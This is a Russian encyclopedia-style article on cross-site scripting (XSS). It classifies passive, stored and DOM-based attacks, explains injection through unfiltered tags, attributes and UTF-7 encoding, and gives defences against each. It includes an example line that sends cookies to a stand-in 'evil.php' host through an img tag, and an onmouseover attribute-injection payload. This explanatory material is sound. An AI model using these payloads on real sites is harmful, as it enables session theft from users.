Межсайтовый скриптинг
XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.
Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующих сокращение «CSS».
Сейчас XSS составляют около 15 % всех обнаруженных уязвимостей[1]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора). На популярном сайте скрипт может устроить DoS-атакy.
Содержание
* 1 Классификация
o 1.1 По механизму исполнения атаки
+ 1.1.1 Пассивные
+ 1.1.2 Активные
+ 1.1.3 Скриптинг через DOM
o 1.2 По каналам внедрения скрипта
+ 1.2.1 Отсутствие фильтрации HTML-тегов в сообщениях пользователей
+ 1.2.2 Отсутствие фильтрации атрибутов и их значений разрешённых тегов
+ 1.2.3 Подмена кодировки в заголовке страницы
+ 1.2.4 Прочие
* 2 Ссылки
* 3 Примечания
Классификация
В этом разделе не хватает ссылок на источники информации.
Информация должна быть проверяема, иначе она может быть поставлена под сомнение и удалена.
Вы можете отредактировать эту статью, добавив ссылки на авторитетные источники.
По механизму исполнения атаки
Условно XSS можно разделить на активные и пассивные.
Пассивные
Пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке). Их также называют первым типом XSS.
Активные
При активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы заражённого сайта. Их также называют вторым типом XSS.
Скриптинг через DOM
По каналам внедрения скрипта
Отсутствие фильтрации HTML-тегов в сообщениях пользователей
Некоторые форумы позволяют пользователю использовать HTML-теги для форматирования текста. Если отсутствует должный уровень фильтрации, злонамеренный пользователь может вставить такие теги <script>, который будет отправлять хакеру HTTP-Cookie пользователей, открывших некоторую тему форума или незаметно открывать произвольную ссылку в контексте браузера пользователя.
Подробнее:
* Злоумышленник, пользуясь имеющимися на сайте средствами наподобие «отправить комментарий» посылает комментарий, содержащий тег <script>.
* Написанный злоумышленником скрипт имеет доступ к пользовательским HTTP-Cookie. Скрипт ворует их, отправляя их на другой сайт (например, создав тег <img src="http://example.com/evil.php?cookie=1234">).
Для защиты от этого вида атак следует удалить все теги, кроме входящих в разрешённый список.
[править] Отсутствие фильтрации атрибутов и их значений разрешённых тегов
Данная уязвимость, в отличие от предыдущей, не специфична для html-форматирования сообщений пользователя. Наиболее ярким примером её является тег img. Например: подставив в качестве URL изображения http://example.com/img.png
" onmouseover="javascript:DoSomething();, мы «протаскиваем» в тег пользовательский скрипт. В частности, подобная уязвимость была обнаружена в известном форумном движке phpBB в 2002 году.
Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.
Для защиты от уязвимостей данного типа требуется жёсткая фильтрация, как названий атрибутов, так и их значений. Также следует запретить использование протоколов javascript: и data: во всех ссылках.
Такой же способ может быть использован путем вставки на странице изображения, сделанного через PHP-файл, содержащий как само изображение, так и вредоносный код.
Подмена кодировки в заголовке страницы
Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег title расположен до тега meta и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как и <".
Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей.
Прочие
Возможно использование XSS атаки совместно с внедрением SQL-кода.
1. ↑ По данным securitylab.ru 15,37 % за второй квартал 2008
и 16,57 % за первый квартал 2008
2. ↑ National Vulnerability Database (NVD) National Vulnerability Database (CVE-2002-0902)
(англ.)
3. ↑ Bugtraq: Cross Site Scripting Vulnerability in phpBB2’s [IMG] tag and remote avatar
(англ.)
4. ↑ http://old.antichat.ru/txt/utf7/
5. ↑ UTF-7 XSS Cheat Sheet
(англ.)